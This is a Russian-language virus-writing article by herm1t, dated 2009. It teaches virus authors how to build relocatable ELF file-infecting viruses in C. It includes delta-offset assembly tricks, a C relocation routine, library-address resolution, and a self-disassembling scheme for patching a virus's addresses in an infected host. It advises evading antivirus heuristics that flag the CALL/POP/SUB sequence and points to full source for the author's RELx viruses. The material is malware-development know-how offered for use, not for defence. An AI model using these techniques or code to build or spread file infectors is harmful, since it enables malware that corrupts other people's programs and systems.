herm1t
Декабрь 2009
Эндрю Таненбаум "Современные операционные системы"
Умка
В статье рассмотрены различные способы организации позиционно-независимого и перемещаемого кода. Показано, что отказ от PIC позволяет существенно ослабить ограничения на код вируса, и использовать те преимущества высокоуровнего программирования, которые ранее были практически недоступны авторам вирусов.
Писать ещё раз о дельта-смещении, всё равно что посылать в журнал "Радио" статью "Еще раз к вопросу о конструкции блока питания", но нужно же с чего-то начинать, поэтому - ещё раз к вопросу о дельта-смещении в вирусах.
Нулевое поколение вируса Зараженная программа
8048100 | | | | 8048100
| virus: | |программа | ↑
| | | | дельта-
| | |... | смещение = 0x8048200 - 0x7948100 = 0x100
| | +----------+ ↓
8048200 | variable | | virus: | 8048200
8048204 | _end | | |
| |
Обращение к переменной | variable | 8048300 Вирус добавляет к адресам
в обычной программе | _end: | 8048304 своих переменных дельту:
выглядит вот так: mov edx, [ebp + variable]
B8 00 82 04 08 mov eax, [variable] 89 95 00 82 04 80
Если написать вирус, как обычную программу, то после заражения, вирус работать перестанет, так как в зараженной программе переменной по адресу 0x8048200 нет. Классическое решение состоит в вычислении дельта-смещения, разности между новым адресом вируса (в жертве) и старым адресом (в программе-носителе):
_virus: call .L0 .L0: pop ebp sub ebp, .L0 ; в ebp теперь разница между адресом метки .L0 (после компиляции) и реальным ; её адресом в памяти mov eax, [ebp + var] ; добавим к адресу переменной времени компиляции дельту и получим ; правильный адрес переменной в зараженном процессе ; 804888c: 8b 85 88 84 04 08 ; mov 0x8048488(%ebp),%eax
Казалось бы всё хорошо, вирус работает... Посмотрим теперь в код. Возьмём вирус Win32.Cyanide (by berniee), код выглядит прямо скажем не очень:
40134a: 03 95 6a 10 40 00 add 0x40106a(%ebp),%edx 401350: 89 95 72 10 40 00 mov %edx,0x401072(%ebp) 401356: 8b 50 20 mov 0x20(%eax),%edx 401359: 03 95 6a 10 40 00 add 0x40106a(%ebp),%edx 40135f: 89 95 7a 10 40 00 mov %edx,0x40107a(%ebp)
Зачем нам таскать за собой эти длинные константы?
А что если использовать смещения переменных от начала вируса?
_virus: call .L0 .L0: pop ebp sub ebp, (.L0 - _virus) ; в ebp - <em>базовый адрес вируса</em>, он никак не учитывает то, какой именно ; адрес был у вируса после компиляции ; (var - _virus) - это <em>относительный</em> адрес переменной от начала вируса mov eax, [ebp + (var - _virus)] ; 804888c: 8b 85 f1 03 00 00 ; mov 0x3f1(%ebp),%eax
Что в лоб, что по лбу - шесть байт, только значения поменялись. Однако, в качестве "точки отсчёта" можно взять любое значение. Например адрес области данных вируса:
_virus: call .L0 .L0: pop ebp sub ebp, (.L0 - _virus) - (virus_data - _virus) ; в ebp - адрес "virus_data" в текущем процессе, который никак не зависит ; от того, каким этот адрес был в нулевом поколении вируса ; (var - virus_data) - это <em>относительный</em> адрес переменной "var" ; от начала области данных (virus_data) mov eax, [ebp + (var - virus_data)] <strong>; 8048889: 8b 45 00 ; mov 0x0(%ebp),%eax</strong> virus_data: var dd 0x55aa55aa
Для того, чтобы получить адреса в коде используем отрицательные смещения, например, адрес начала вируса - это ebp - (virus_data - _virus). Часто используемые переменные можно поместить в начало области данных, что даст определённую экономию.
Этот же способ используется в позиционно-независимом коде генерируемом компилятором. Все используемые адреса - относительные от _GLOBAL_OFFSET_TABLE_. При этом ссылки на GOT (и ниже - .rodata, .text...) имеют отрицательные смещения, выше (.got.plt, .data ...) - положительные.
Теперь немного об инструкции call, присутствующей в каждом примере. Этот код использовался и используется настолько часто, что эвристик одного из особо тупых антивирусов, когда-то срабатывал на последовательность CALL / POP / SUB. А между тем уже пятнадцать лет назад TLN предложил ("The Smallest Virus I Could Manage", vlad #3) просто вставлять дельту в копию вируса на этапе заражения. Попробуем. Только не дельту, а адрес данных вируса:
_virus: ... mov ebp, strict dword 0 ; fix_vd - это смещение от начала вируса, слова, которое нужно пропатчить ; адресом virus_data (адрес вируса в жертве + (virus_data - _virus)) fix_vd equ $ - 4 - _virus mov eax, [ebp + (var - virus_data)]
По сути, virus_data - это просто переменная, а что это значит? Это значит, что можно исправлять непосредственно абсолютные адреса переменных:
; esi - мог бы быть началом вируса в отображенной в память жертве ; edi - дельта add [esi + fix_var], edi ... mov eax, [var] fix_var equ $ - 4 - _virus
Теперь уже нету ни подозрительной инструкции "call", ни дельт в их обычном виде, ни красивых относительных адресов. А теперь делаем ещё один шаг вперёд. Нельзя ли поступить так со всеми переменными? В результате мы получим не позиционно-независимый, а перемещаемый (relocatable) код. Такой же, как и в "обычных" программах.
В последнем примере из предыдущей главы показано, как можно в процессе заражения исправлять адреса переменных, но в примере только одна переменная, а в вирусе их много. Как быть? Не писать же по нескольку инструкций, на каждую переменную? А как устроены "обычные" программы? А вот как: все адреса, которые необходимо исправить, если программа будет загружена по другому адресу сведены в таблицу. Эта таблица называется таблицей перемещений (relocation table). Грубо говоря, в таблице содержатся смещения слов в программе, которые необходимо исправить. Где-то так:
; esi - мог бы быть началом вируса, внутри отображения жертвы в памяти ; edi - дельтой xor ecx, ecx relocate: mov eax, [rel + ecx * 4] ; NB! в настоящем вирусе, тут тоже наличествовал бы релок ; fix_rel equ $ - 4 - _virus add [esi + eax], edi inc ecx cmp ecx, rel_count jb relocate ... mov eax, [var] fix_var equ $ - 4 - _virus int 3 var dd 0x55aa55aa ; таблица перемещений rel dd fix_var ; dd fix_rel rel_count equ ($ - rel) / 4
Как ты наверное понимаешь, у меня и мысли не возникало писать код таким образом. Таблица перемещений создается компилятором и присутствует только в объектных файлах. Чтобы таблица появилась в исполняемом файле необходимо указать компоновщику ключ "--emit-relocs". После чего можно дизассемблировать бинарь и посмотреть, что получилось:
8048480: a1 87 84 04 08 mov 0x8048487,%eax
8048481: R_386_32 .text
Вот оно. Или так:
$ objdump -r ./a.out ... RELOCATION RECORDS FOR [.text]: OFFSET TYPE VALUE ... 00000401 R_386_32 .text
Но и это ещё не всё. Наличие или отсутствие инструкции CALL, а также длина MOV-ов, загружающих значения переменных меня тоже не волнуют. На самом деле, избавившись от позиционно-независимого кода, мы избавляемся от самого жесткого ограничения на стиль кода вируса. Это значит, что теперь можно не напрягаясь писать вирус на любом языке, не прибегая к ассемблеру и всевозможным ухищрениям. Си со всеми фичами, такими как коллбеки, глобальные переменные, строки, библиотечные функции к вашим услугам. Теперь можно не тратить время на асмодрочерство или попытки беспощадно выебать тонко настроить компилятор, а заниматься ксором двордов в уме "вирусными технологиями", о которых мы любим попиздеть ртом, которые мы разработали, и которыми по праву гордимся.
От теории к практике. Наиболее очевидный способ реализации - написать вирус, скомпилировать в объектный файл (с релоками), а затем при помощи специально написанной программы выдрать из объектика код, данные и таблицу перемещений вируса и заразить ими жертву. Раз уж всё равно придётся писать дроппер, то почему бы сразу не написать компоновщик?
Разберёмся для начала с форматом релоков.
В ELF файле таблица релоков для секции .text находится в секции .rel.text и содержит массив структур Elf32_Rel, которая состоит из смещения, типа и ссылки на таблицу символов (.dynsym), которая в свою очередь является массивом структур Elf32_Sym, в которой до чёртиков полей, в том числе значение символа, номер секции, смещение в таблице строк (.dynstr) на имя символа... Хватит? Мне тоже захотелось реализовать это как-нибудь попроще.
Вирус состоит из "фрагмента" (чтобы не путать с секциями и сегментами определёнными в ELF файле) кода и данных. С фрагментом кода всё ясно, а во фрагменте данных помимо собственно инициализированных переменных будут находится неинициализированные переменные (в обычных программах они "живут" в .bss), строки (в обычных программах - в .rodata), таблица перемещений и таблица строк с именами внешних функций.
Вирус состоит из процедур поиска жертв и заражения, а так же компоновщика времени исполнения (RTLD) и процедуры настройки на новые адреса relocate():
"фрагмент" кода +- stub.o --------------+ | _start: | __code_start | pusha | | call rtld | | popa | | jmp __entry | +- rtld.o --------------+ | findlibc, rtld, | | relocate | +- virus.o -------------+ | main() ... | __code_end +-----------------------+ "фрагмент" данных +-----------------------+ | relocation table | __data_start | ... virus data ... | | string table | __data_end +-----------------------+
__* - это специальные символы, вычисляемые компоновщиком, в исходном коде они объявлены, как extern.
После запуска:
В этой статье делается упор на исправление адресов кода и данных вируса. Импорты - совсем другая история, существует возможность добавлять "статические" импорты, перепоручив резольвинг системному RTLD, не таская за собой громоздкий код резольвера: нужно пропатчить немного .dynsym, .dynstr, приделать, где-нибудь "сбоку" вирусные PLT и GOT, но импорты связаны с релоками лишь отчасти, так что о них в другой раз.
Таблица релоков состоит из 32-битных значений, заканчивающаяся на 0xffffffff, где:
| Биты | Название | Описание |
|---|---|---|
| 31 | SRC_FRAG | релок находится в (0 секции кода, 1 - данных) |
| 30..29 | DST_FRAG | Значение указывает на (0 - код, 1 - данные, 2 - библиотечную функцию, 3 - спец. символ) |
| 28 | SRC_TYPE | Тип адреса (0 - абсолютный, 1 - относительный) |
| 27-14 | SRC_OFF | Смещение внутри фрагмента (в зависимости от SRC_FRAG) кода/данных, которое нужно пропатчить |
| 13-0 | DST_OFF | Смещение внутри фрагмента (в зависимости от DST_FRAG) кода/данных, которым нужно пропатчить. Если DST_FRAG = 2, то это смещение на имя внешней функции в таблице строк, если DST_FRAG = 3, то это номер символа, определяемого компоновщиком (старая точка входа) |
Таким образом, значение 0xa8166c00 означает, что нужно вычислить адрес dst (фрагмент 1, т.е. начало данных вируса + 11264) и поместить его (тип 0, абсолютный адрес) по адресу src (фрагмент 1, т. е. начало данных вируса + 8281).
Проще всего, объяснить на примере кода вируса, настройка на новые адреса:
void relocate(uint8_t *text, uint8_t *data, uint32_t new_text, uint32_t new_data, uint32_t new_entry) { reloc_t *rel; uint32_t *src, dst; for (rel = (reloc_t*)data; ! IS_FINI(*rel); rel++) /* skip external symbols, they will be resolved at run-time */ if (DST_FRAG(*rel) != 2) { /* pointer to the value that must be fixed */ src = (uint32_t*)((SRC_FRAG(*rel) == 1 ? data : text) + SRC_OFF(*rel)); /* there is only one internal symbol ("frag" 3) left: __entry */ dst = DST_FRAG(*rel) == 3 ? new_entry : (DST_FRAG(*rel) ? new_data : new_text) + DST_OFF(*rel); /* patch in absolute/relative value */ *src = SRC_TYPE(*rel) == 0 ? dst : dst - ((SRC_FRAG(*rel) ? new_data : new_text) + SRC_OFF(*rel) + 4); } }
Адреса библиотечных функций:
for ( ; ! IS_FINI(*rel); rel++) if (DST_FRAG(*rel) == 2) { uint32_t src, dst; src = (uint32_t)(SRC_FRAG(*rel) ? &__data_start : &__code_start) + SRC_OFF(*rel); dst = resolve(&libc, (char*)&__data_start + DST_OFF(*rel)); *(uint32_t*)src = SRC_TYPE(*rel) ? dst - (src + 4) : dst; }
А теперь самое интересное. Как сформировать таблицу?
Исходный код вируса компилируется gcc в объектный файл, но связывается не ld(1) из binutils, а собственным компоновщиком.
Грубо говоря, что из себя представляет компоновщик? Есть несколько объектных файлов, которые содержат неопределенные [на стадии компиляции] (undefined) символы (то что в программе объявлено, как extern), и глобальные (global) символы всё, что не static). Символом может быть, как функция, так и переменная. Задача компоновщика - связать (link) их между собой, то есть подставить адреса глобальных символов, определенных в одном из файлов, в тот файл, в котором этот символ не определен. Более сложные ситуации, такие как weak symbols, symbol versioning, и прочие неудобоваримые подробности опустим за ненадобностью. Переписывать заново ld(1) совсем не нужно. Что делает "вирусный ld":
...и работает. :-)
Есть ещё один интересный (теперь уже риторический) вопрос - а нельзя ли сделать то же самое (пожертвовав некоторой функциональностью), но без таблиц и без собственных линкеров? Попроще как-нибудь... Да, можно! Возьмём любую программу, хотя бы и такую:
int a = 10; int main() { printf("Hello %d %d\n", a + 256, 11); }
8048395: 6a 0b push $0xb ; 11 8048397: a1 a0 95 04 08 mov 0x80495a0,%eax ; a 804839c: 05 00 01 00 00 add $0x100,%eax ; 256 80483a1: 50 push %eax ; a + 256 80483a2: 68 90 84 04 08 push $0x8048490 ; "Hello %d %d\n" 80483a7: e8 ec fe ff ff call 8048298 <printf@plt>
Даже ослу понятно, что 80495a0, 8048490 и 8048298 - это адреса, а 11 и 256 - это константы, при этом 80495a0 и 8048490 - это данные (указывают на секции .data и .rodata), а 8048298 - это код, и мало того, что код, вызов внешней функции (секция .plt). Если это понятно ослу, то попробуем обучить этому нехитрому умению вирус.
Чтобы упростить код, как и впредыдущем случае склеим секции .data и .rodata, но в этот раз при помощи скрипта компоновщика (info ld). Получим стандартный скрипт компоновки (ld --verbose) и немного его поправим, заменим:
.text :
{
*(.text .stub .text.* .gnu.linkonce.t.*)
KEEP (*(.text.*personality*))
...
.data :
{
*(.data .data.* .gnu.linkonce.d.*)
...
на
__text_start =.;
_text : {
stub.o(.text)
virus.o(.text)
} =0x90909090
__text_end =.;
...
Нам нужны символы, указывающие на начало/конец кода/данных (text/data start/end) и нам нужно, чтобы в коде вируса отсутствовали функции, определённые в crt*.o (все эти __do_global_dtors_aux, frame_dummy и прочий мусор). Поэтому вместо *(.text), я пишу virus.o(.text), то есть взять секцию .text не из всех файлов, а только из virus.o. .bss можно приклеить к .data, а можно задавить аттрибутом ((section (".data"))).
Для того, чтобы исправить адреса в коде вируса, я взял дизассемблер (YAD, EOF#2). Вирус дизассемблирует собственный код и проверяет все константы, которые являются частью инструкции. Если константа попадает в диапазон [__text_start ... __text_end], то вирус считает её адресом, указывающим на код, если [__data_start ... __data_end] - то на данные. Исправить адрес просто: нужно вычесть старый адрес кода/данных (__text_start/data_start) и добавить новый (new_text / new_data, которые вычисляются в функции заражения):
if(*(p - 1) == 0x61 && *p == 0xe9) r = (3 << 30) | (offset + 1); else #define CHECK_FOR_REL(a,b,c, d) \ if (y.a >= (uint32_t)&__ ## b ## _start && y.a <= (uint32_t)&__ ## b ## _end) \ r = (offset + y.len - 4 + c) | (d << 30); \ else CHECK_FOR_REL(data4, text, 0, 0) CHECK_FOR_REL(data4, data, 0, 1) CHECK_FOR_REL(addr4, text, -y.datasize, 0) CHECK_FOR_REL(addr4, data, -y.datasize, 1) ;
Результат складывается в таблицу для последующего использования.
Если в коде вируса попадётся константа, попадающая в соответсвующий диапазон, то всё пропало. :-) Вероятность этого не велика, кроме того подобный глюк будет выявлен и исправлен на этапе отладки. Код можно улучшить при помощи нескольких простых правил:
Возникает соблазн использовать этот же алгоритм для перемещения кода жертвы, но такой фокус для некоторых файлов закончится весьма плачевно.
NB! ... но в результате более детального анализа, мне кажется, всё-таки возможно отличить адреса от констант, по крайней мере в файлах скопилированных определённым компилятором. В конце концов, можно и прототипы функций из /usr/include вытащить (grep -r '^[^#].* [\*]*ftw[ ]*(' /usr/include|sed 's/[^(,\*)]//g'). Шутки - шутками, а подумать есть над чем.
Однако, я точно знаю, как устроен код моего вируса, поэтому для кода вируса алгоритм будет работать надёжно даже без проверок.
...и работает. :-)
Обсуждая со знакомым, некоторые аспекты заражения файлов, я получил хороший совет: Будет проще [установить обработчик исключений], и именно так работает большинство вирусов под Windows. Слишком много чего может пойти не так при разборе заголовков, не стоит проверять все возможные варианты (или даже знать о них). Этот совет относится не только к заголовкам. Поэтому оба вируса перехватывают сигналы SIGSEGV и SIGBUS. Если обработчик получит управление, то он востановит стек (переменная orig_esp), и вернет управление программе-носителю.
Предложенный метод позволяет:
Писать на HLL можно было и без этого, но приходилось либо запихивать необходимый функционал в библиотеку (как предложил в своё время Whale "Позиционно-независимый код на HLL. Загрузка DLL из памяти.") либо, буквально упрашивать компилятор сгенерировать "правильный" код в "правильном" порядке, после чего компилятор обновлялся и приходилось начинать всё по новой. Одна только диверсия с -funit-at-a-time чего стоит!
Вопреки распространенному мнению, вирусы на Си получаются вполне компактные (2-3 килобайта кода), можно было бы переписать их на ассемблере и сэкономить пару сотен байт, но всем похуй кому это нужно?
Полный код вирусов RELx.A/G2 и примеров можно скачать здесь.
$ make ... $ gdb ./4 ... (gdb) r Program received signal SIGTRAP, Trace/breakpoint trap. 0x080493e2 in ?? () можно убедиться, что адрес переменной верен (gdb) info reg eax 0x55aa55aa 1437226410 ... это исправленный код (в памяти) (gdb) disas 0x080493d8 0x080493e2 Dump of assembler code from 0x80493d8 to 0x80493e2: 0x080493d8: mov $0x80493e2,%ebp 0x080493dd: mov 0x0(%ebp),%eax 0x080493e0: int $0x3 (gdb) q исходный код (в файле) $ objdump -d 4|tail 804888e: bd 00 00 00 00 mov $0x0,%ebp 8048893: 8b 45 00 mov 0x0(%ebp),%eax 8048896: cd 03 int $0x3
1 Вот так (-ggdb -Wa,-ahl). Оно тебе надо?
1270 0b18 8B459C movl -100(%ebp), %eax 1271 0b1b 8B4814 movl 20(%eax), %ecx 1272 0b1e 8B459C movl -100(%ebp), %eax 1273 0b21 8B501C movl 28(%eax), %edx 1274 0b24 8B45A8 movl -88(%ebp), %eax 1275 0b27 C1E004 sall $4, %eax 1276 0b2a 8D0402 leal (%edx,%eax), %eax 1277 0b2d 0FB7400E movzwl 14(%eax), %eax 1278 0b31 0FB7D0 movzwl %ax, %edx 1279 0b34 89D0 movl %edx, %eax 1280 0b36 C1E002 sall $2, %eax 1281 0b39 01D0 addl %edx, %eax 1282 0b3b C1E003 sall $3, %eax 1283 0b3e 8D0401 leal (%ecx,%eax), %eax 1284 0b41 8B4008 movl 8(%eax), %eax 1285 0b44 83E004 andl $4, %eax 1286 0b47 85C0 testl %eax, %eax 1287 0b49 0F94C0 sete %al 1288 0b4c 0FB6C0 movzbl %al, %eax 1289 0b4f 8945DC movl %eax, -36(%ebp)[Вернуться к списку] [Комментарии (1)]